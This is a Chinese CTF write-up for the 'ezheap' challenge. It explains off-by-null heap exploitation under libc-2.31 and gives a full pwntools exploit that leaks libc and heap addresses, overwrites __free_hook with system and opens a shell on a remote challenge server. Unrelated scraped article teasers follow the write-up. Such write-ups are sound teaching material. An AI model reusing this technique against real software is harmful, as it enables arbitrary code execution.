[libc-2.31 off_by_null] N0wayBack ezheap练习

以前保留了个WP,但是没复现过也没法用,用了两个晚上慢慢理复现一下。

先看这个题

  while ( 1 ){menu();__isoc99_scanf("%d", &v3);switch ( v3 ){case 1:m1add();     //带readbreak;case 2:m2free();break;case 3:m3edit();    //溢出break;case 4:m4show();break;case 5:exit(0);default:continue;}}

可以建31个块,数量不是问题,edit的时候会有溢出,并且\n会被转化为\0

unsigned __int64 __fastcall read_0(__int64 a1, unsigned int a2)
{char buf; // [rsp+13h] [rbp-Dh] BYREFunsigned int i; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);for ( i = 0; a2 > i; ++i ){buf = 0;if ( read(0, &buf, 1uLL) < 0 ){puts("Read error.");exit(-2);}if ( buf == 10 ){*(_BYTE *)((int)i + a1) = 0;return __readfsqword(0x28u) ^ v5;}*(_BYTE *)(a1 + (int)i) = buf;}*(_BYTE *)((int)i + a1) = 0;return __readfsqword(0x28u) ^ v5;
}

这个溢出,听说来看一句话。当输入n个字符后在后边加一个\0

buf[read(0,buf,n)]=0;

先看下在旧版本上的处理办法。2.27以前时候可以形成向前合并,生成重叠块。方法是建块ABCD

A块大小可以释放到unsort,B块通过溢出修改C块的size修改C的presize为A+B,C的size尾字节为0,C要能释放到unsort并且size尾应该是01(比如0x501),D用来分隔。先释放A,然后通过B修改C的size尾再释放C,形成向前合并,将未释放的B一起进入unsort,再建块时会跟B形成重叠块。

在2.31后就多了检查。这样释放就不允许了。新的方法是通过残留绕过检查。需要在3个块的指针其中C.fd->A,C.bk->D,A.bk->C,D.fd->C

具体思路:

  1. 建ABCD 4个块,BC相邻,其它中间有间隔。C的位置(presize,不是数据开始)尾字节为0。大小满足C>D>A,在C的位置生成指针。
  2. 造C的指针。依次释放ACD,这时在C的头部会生成指向A和D的指针C.fd->A,C.bk->D
  3. 释放B,会和C合并,再建B(oldB+0x20)将原来的指针保留在newB的尾部
  4. 修复A.bk,释放A和newC再次形成指针链,这时A.bk->newC,重建A并通过off_by_null将bk的尾覆盖为0(指向oldC)
  5. 修复D.fd,释放newC和D,D.fd->newC,再建D时覆盖fd尾字节为0指向oldC
  6. 在D后边的分隔后建尾E(0xa01)
  7. 编辑D后的分隔,写入E的presize= oldC+间隔+D+间隔,off_by_null覆盖E的size尾为\0
  8. 释放E向前合并,不过这时会将 top_chunk一起合并,不过这不影响使用,再建块时形成重叠。

后边由于2.31还没有去掉free_hook,在得到重叠块后可以直接往free_hook写system.

另外这题有编号是自动的,这个东西极其讨厌,如果记不好只能一点点调。为方便我一步步记录下来省得乱。也算个着吧。

from pwn import *#p = process('./ezheap')
p = remote('36.152.17.3', 10016)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')def add(size, msg=b'\n'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Length of game description:\n", str(size).encode())p.sendlineafter(b"Game description:\n", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"game index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"game index: ", str(idx).encode())p.sendlineafter(b"Game description:\n", msg)def show(idx):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"game index: ", str(idx).encode())#           padding        A           B     C           D
#                          1    2      3     4     5     6     7
for i in [0x1000-0xf0+8,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:add(i)#A-C-D largebin-chain
for i in [1,4,6,3]:  #free ACD,free B combin BCfree(i)#fack newC   oldC fd->A,bk->D
add(0x438, b'\x00'*0x418+p64(0xb91)[:-1]) #newB 1
add(0x418) #newC 3
add(0x428) #D    4
add(0x418, b'1'*0x100) #A    6
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0      0x000055555555d040
#0x55555555cb20: 0x0000000000000000      0x0000000000000421#repair bk
free(6)
free(3)
add(0x418, b'PIG007nb\n')
add(0x418)
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1      6    5     4     7
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: 0x626e373030474950      0x000055555555cb00#repair fd
free(6) #newC
free(4) #D
add(0x9f8) #unlink_point
#add(0x9f8) #no combine top_chunk
add(0x428, b'\n') #overflow \x00 in fd
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1 [    6    5     4     7 ]
##                          3    2      1 [ unsort  5     6     7 ]   4
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208, 0x9f8]:
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00      0x00007ffff7fc1fd0
'''
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: ------------------      0x000055555555cb00->C     A
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0->A   0x000055555555d040->D   oldC
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00->C   ------------------     D
'''#unlink
edit(7, b'1'*0x200 + p64(0xb90))  #3 0x501-0x500,presize=0x550
free(4)add(0x438) #4 cb10 free后会与top_chunk合并,并没有unsort指针泄露
add(0x418) #8      清除残留的unsort
add(0x418) #9 == 5 再建的块与原块形成重叠块,再次释放时得到残留libc
add(0x108) #10 D370
free(9)
#0x55555555cf40: 0x0000000000000420      0x0000000000001151
#0x55555555cf50: 0x00007ffff7fc1be0      0x00007ffff7fc1be0show(5)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")add(0x78) #9
add(0x78) #11free(11)
free(9)
show(5)
heap_address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1fd0
print(f"{heap_address = :x}")edit(5, p64(libc.sym['__free_hook'])[:-1])
add(0x78, b'/bin/sh') #9
add(0x78, p64(libc.sym['system'])) #11 __free_hookfree(9)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/134508.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

视频监控系统/安防监控/视频AI智能分析:小动物识别算法场景汇总

随着人们对生态环境的关注日益提升&#xff0c;大家对动物保护意识也逐渐增强。旭帆科技智能分析网关小动物识别算法应运而生。除了对保护动物的识别以外&#xff0c;旭帆科技AI智能分析网关还可以识别常见的老鼠等动物&#xff0c;助力明厨亮灶监管&#xff0c;保卫食品安全。…

uniapp风险等级(三级)

代码 ​ <template><view><view class"riskGrade"><label>风险等级: </label><span v-if"flag 0 || flag 1 || 2" class"item":style"[{background:flag0?color:flag1?color:flag2?color:}]"…

Redis 事务 - 监控测试

Redis 基本事务操作 Redis事务本质&#xff1a;一组命令的集合&#xff01;一个事务中的所有命令都会被序列化&#xff0c;在事务执行过程的中&#xff0c;会按照顺序执行&#xff01; Redis事务是一组Redis命令的有序集合&#xff0c;这些命令在事务中按照顺序执行&#xff0…

voliate实战:voliate可见性验证有序性非原子性验证

一、可见性验证 下面的程序验证了voliate的可见性。 public class VolatileVisibilityTest {private static volatile boolean inintFlag false;public static void main(String[] args) throws InterruptedException {new Thread(() -> {System.out.println("waiti…

期权投资的优势有哪些方面?

随着金融市场的不断演变&#xff0c;越来越多的金融衍生品出现在人们的视线中&#xff0c;特别是上证50ETF期权可以做空T0的交易模式吸引了越来越多的朋友&#xff0c;那么期权投资的优势有哪些方面&#xff1f; 期权是投资市场中一个非常重要的投资方式&#xff0c;期权投资能…

LeetCode:两数之和

题目描述&#xff1a; 这是一道用暴力解法&#xff0c;逻辑十分简单、清晰的一道题&#xff0c;直接遍历数target-num[i]就行 而官方给了第二种巧妙的解法&#xff1a;运用哈希表。此法可将时间复杂度从O&#xff08;N^2&#xff09;降到O&#xff08;1&#xff09; 其思路是…

日志技术-Logback

日志技术 将系统执行的信息&#xff0c;方便的记录到指定位置&#xff08;控制台、文件、数据库&#xff09;可以随时以开关的形式开关日志&#xff0c;无需入侵到源代码去修改 日志接口&#xff1a;设计日志框架的统一标准 注&#xff1a;有人对JCL接口不满意&#xff0c;就…

基于Questasim的SystemVerilog DPI使用流程

1. 前言 DPI是Direct Programming Interface的缩写&#xff0c;它提供了SystemVerilog与其它编程语言(特别是C语言)交互的接口。它允许编程人员轻松地从SystemVerilog调用C函数&#xff0c;且在C函数也可以调用Systemverilog的函数。 DPI极大地方便了使用现有的C代码&#xf…

深度学习-全连接神经网络-激活函数- [北邮鲁鹏]

文章目录 基础知识为什么需要非线性操作&#xff08;激活函数&#xff09;&#xff1f;激活函数 vs 数据预处理常用的激活函数Sigmoid函数 &#xff08;Logistic函数&#xff09;双曲正切函数&#xff08;Tanh函数&#xff09;线性整流函数&#xff08;ReLU函数&#xff09;Lea…

C【数组】

1.一维数组 1.1 数组的创建 1.2 数组的初始化 1.3 一维数组的使用 int main() { // char arr[] "abcdef";//[a][b][c][d][e][f][\0] // //printf("%c\n", arr[3]);//d // int i 0; // int len strlen(arr); // for(i0; i<len; i) // { // p…

机器学习笔记之最优化理论与方法(十)无约束优化问题——共轭梯度法背景介绍

机器学习笔记之最优化理论与方法——共轭梯度法背景介绍 引言背景&#xff1a;共轭梯度法线性共轭梯度法共轭方向共轭VS正交共轭方向法共轭方向法的几何解释 引言 本节将介绍共轭梯度法&#xff0c;并重点介绍共轭方向法的逻辑与几何意义。 背景&#xff1a;共轭梯度法 关于…

Ubuntu 22.04LTS + 深度学习环境安装全流程

一、 CUDA Toolkit 安装 1. 选择需要安装的版本(下载地址) 2. 选择自己的系统版本获取下载地址和安装指令 3. 运行安装指令进行安装 wget https://developer.download.nvidia.com/compute/cuda/12.2.2/local_installers/cuda_12.2.2_535.104.05_linux.run sudo sh cuda_12.2.…

Docker Swarm集群部署

Docker Swarm集群部署 任务平台 3台虚拟机&#xff0c;一台作为manager 节点&#xff0c;另两台作为work节点。 文章目录 Docker Swarm集群部署安装docker配置防火墙开放端口在 manager 节点创建 Swarm 集群创建用于swarm服务的自定义的overlay网络测试跨主机容器通信 安装do…

网上办公系统设计与实现

目录 前言 1问题定义 1.1系统名称 1.2系统背景 1.3系统目标 2 可行性分析 2.1 经济可行性 2.2 技术可行性 2.3 操作可行性 2.4 法律可行性 2.5 可行性研究结论 2.6 用户组织机构图 2.7 目标系统业务流程图 2.8 接口设计 2.8.1外部接口 2.8.2 内部接口 3 需求分…

Centos7.9 一键脚本部署 LibreNMS 网络监控系统

前言&#xff1a; LibreNMS 是个以 PHP/MySQL 为基底的自动探索网络监控系统 LibreNMS 官网 版本23.8.2-52-g7bbe0a2 - Thu Sep 14 2023 22:33:23 GMT0700数据库纲要2023_09_01_084057_application_new_defaults (259)Web 服务器nginx/1.20.1PHP8.1.23Python3.6.8DatabaseMa…

Postman的高级用法一:重新认识postman核心模块

本请求示例来自于免费天气API&#xff1a; 实况天气接口API开发指南 未来一天天气预报api - 天气API 关于Postman的核心模块 全局变量请求接口请求体预处理脚本 类似beforeTest&#xff0c;在发起请求前的预执行逻辑&#xff0c;通常是生成一些动态变量值 测试用例模块 测试者…

PhpStorm 2023年下载、安装教程和好用插件,保姆级教程

PhpStorm 2023年下载、安装教程和好用插件&#xff0c;保姆级教程 文章目录 PhpStorm 2023年下载、安装教程和好用插件&#xff0c;保姆级教程前言一、安装PhpStorm二、好用的插件简体中文包Chinese(Simplified)Language Pack 三、卸载插件CTRLN 查找类CTRLSHIFTN 全局搜索文件…

Visual Studio复制、拷贝C++项目与第三方库配置信息到新的项目中

本文介绍在Visual Studio软件中&#xff0c;复制一个已有的、配置过多种第三方库的C项目&#xff0c;将其拷贝为一个新的项目&#xff0c;同时使得新项目可以直接使用原有项目中配置好的各类**C**配置、第三方库等的方法。 在撰写C 代码时&#xff0c;如果需要用到他人撰写的第…

Linux学习第16天:Linux设备树下的LED驱动开发:举一反三 专注专心专业

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 在开题之前&#xff0c;先说一下这次的题目&#xff0c;尤其是后面的“举一反三 专注专心专业”到底想给大家传递什么信息。LED驱动开发&#xff0c;目前为止已经…

深入思考redis面经

1 redission分布式锁 1.1 为了保证数据一致性&#xff0c;引入了redission的锁&#xff0c;你是为了抗住高并发而去为了引入这个锁还是说为了保证数据一致性去引入的 答&#xff1a;主要是为了抗住高并发问题&#xff0c;解决redis的缓存击穿问题&#xff0c;但是也能解决一定…